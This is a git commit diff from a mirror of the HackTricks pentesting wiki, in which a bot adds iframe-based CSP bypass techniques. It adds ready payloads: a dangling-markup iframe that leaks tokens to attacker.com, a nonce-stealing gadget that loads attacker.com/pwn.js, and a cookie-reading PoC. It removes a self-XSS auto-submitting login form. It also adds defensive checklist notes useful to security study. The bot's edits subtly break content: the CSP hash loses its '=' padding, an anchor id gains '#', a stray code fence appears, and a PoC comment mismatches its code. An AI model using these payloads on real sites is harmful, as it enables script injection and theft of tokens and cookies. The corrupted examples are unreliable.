mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Add content from: Research Update: Enhanced src/pentesting-web/xss-cross-site-...
This commit is contained in:
HackTricks News Bot
parent
0f0e4e0900
commit
189ace9158
@ -64,7 +64,7 @@ Therefore it’s possible to bypass the CSP of a page with:
|
||||
<head>
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
|
||||
</head>
|
||||
<script>
|
||||
var secret = "31337s3cr37t"
|
||||
@ -109,7 +109,43 @@ if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
|
||||
### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
#### New (2023-2025) CSP bypass techniques with iframes
|
||||
|
||||
The research community continues to discover creative ways of abusing iframes to defeat restrictive policies. Below you can find the most notable techniques published during the last few years:
|
||||
|
||||
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – When an application reflects HTML but a strong CSP blocks script execution, you can still leak sensitive tokens by injecting a *dangling* `<iframe name>` attribute. Once the partial markup is parsed, the attacker script running in a separate origin navigates the frame to `about:blank` and reads `window.name`, which now contains everything up to the next quote character (for example a CSRF token). Because no JavaScript runs in the victim context, the attack usually evades `script-src 'none'`. A minimal PoC is:
|
||||
|
||||
```html
|
||||
<!-- Injection point just before a sensitive <script> -->
|
||||
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
|
||||
````
|
||||
```javascript
|
||||
// attacker.com frame
|
||||
const victim = window.frames[0];
|
||||
victim.location = 'about:blank';
|
||||
console.log(victim.name); // → leaked value
|
||||
```
|
||||
|
||||
* **Nonce theft via same-origin iframe (2024)** – CSP nonces are not removed from the DOM; they are merely hidden in DevTools. If an attacker can inject a *same-origin* iframe (for example by uploading HTML to the site) the child frame can simply query `document.querySelector('[nonce]').nonce` and create new `<script nonce>` nodes that satisfy the policy, giving full JavaScript execution despite `strict-dynamic`. The following gadget escalates a markup injection into XSS:
|
||||
|
||||
```javascript
|
||||
const n = top.document.querySelector('[nonce]').nonce;
|
||||
const s = top.document.createElement('script');
|
||||
s.src = '//attacker.com/pwn.js';
|
||||
s.nonce = n;
|
||||
top.document.body.appendChild(s);
|
||||
```
|
||||
|
||||
* **Form-action hijacking (PortSwigger 2024)** – A page that omits the `form-action` directive can have its login form *re-targeted* from an injected iframe or inline HTML so that password managers auto-fill and submit credentials to an external domain, even when `script-src 'none'` is present. Always complement `default-src` with `form-action`!
|
||||
|
||||
**Defensive notes (quick checklist)**
|
||||
|
||||
1. Always send *all* CSP directives that control secondary contexts (`form-action`, `frame-src`, `child-src`, `object-src`, etc.).
|
||||
2. Do not rely on nonces being secret—use `strict-dynamic` **and** eliminate injection points.
|
||||
3. When you must embed untrusted documents use `sandbox="allow-scripts allow-same-origin"` **very carefully** (or without `allow-same-origin` if you only need script execution isolation).
|
||||
4. Consider a defense-in-depth COOP+COEP deployment; the new `<iframe credentialless>` attribute (§ below) lets you do so without breaking third-party embeds.
|
||||
|
||||
### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
|
||||
|
||||
```html
|
||||
<!-- This one requires the data: scheme to be allowed -->
|
||||
@ -138,49 +174,35 @@ When utilized, the `sandbox` attribute imposes several limitations:
|
||||
- Navigation of the content's top-level browsing context by the content itself is prevented.
|
||||
- Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked.
|
||||
|
||||
Tip: Modern browsers support granular flags such as `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, etc. Combine them to grant only the minimum capabilities required by the embedded application.
|
||||
|
||||
The attribute's value can be left empty (`sandbox=""`) to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions.
|
||||
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
|
||||
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
|
||||
```
|
||||
|
||||
### Credentialless iframes
|
||||
|
||||
As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
|
||||
|
||||
This allows the iframe to access sensitive information from another iframe in the same SOP loaded in the parent page:
|
||||
Since **Chrome 110 (February 2023) the feature is enabled by default** and the spec is being standardized across browsers under the name *anonymous iframe*. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:
|
||||
|
||||
* Scripts in different credentialless iframes **still share the same top-level origin** and can freely interact via the DOM, making multi-iframe self-XSS attacks feasible (see PoC below).
|
||||
* Because the network is **credential-stripped**, any request inside the iframe effectively behaves as an unauthenticated session – CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
|
||||
* Pop-ups spawned from a credentialless iframe get an implicit `rel="noopener"`, breaking some OAuth flows.
|
||||
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
// PoC: two same-origin credentialless iframes stealing cookies set by a third
|
||||
window.top[1].document.cookie = 'foo=bar'; // write
|
||||
alert(window.top[2].document.cookie); // read -> foo=bar
|
||||
```
|
||||
|
||||
- Exploit example: Self-XSS + CSRF
|
||||
To embed 3rd-party content in pages that already enforce COEP you can now simply use:
|
||||
|
||||
In this attack, the attacker prepares a malicious webpage with 2 iframes:
|
||||
|
||||
- An iframe that loads the victim's page with the `credentialless` flag with a CSRF that triggers a XSS (Imagin a Self-XSS in the username of the user):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- Another iframe that actually has the user logged in (without the `credentialless` flag).
|
||||
|
||||
Then, from the XSS it's possible to access the other iframe as they have the same SOP and steal the cookie for example executing:
|
||||
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```html
|
||||
<iframe credentialless src="https://example.com/public-widget"></iframe>
|
||||
```
|
||||
|
||||
### fetchLater Attack
|
||||
@ -219,7 +241,10 @@ Check the following pages:
|
||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [PortSwigger Research – Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
|
||||
* [Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user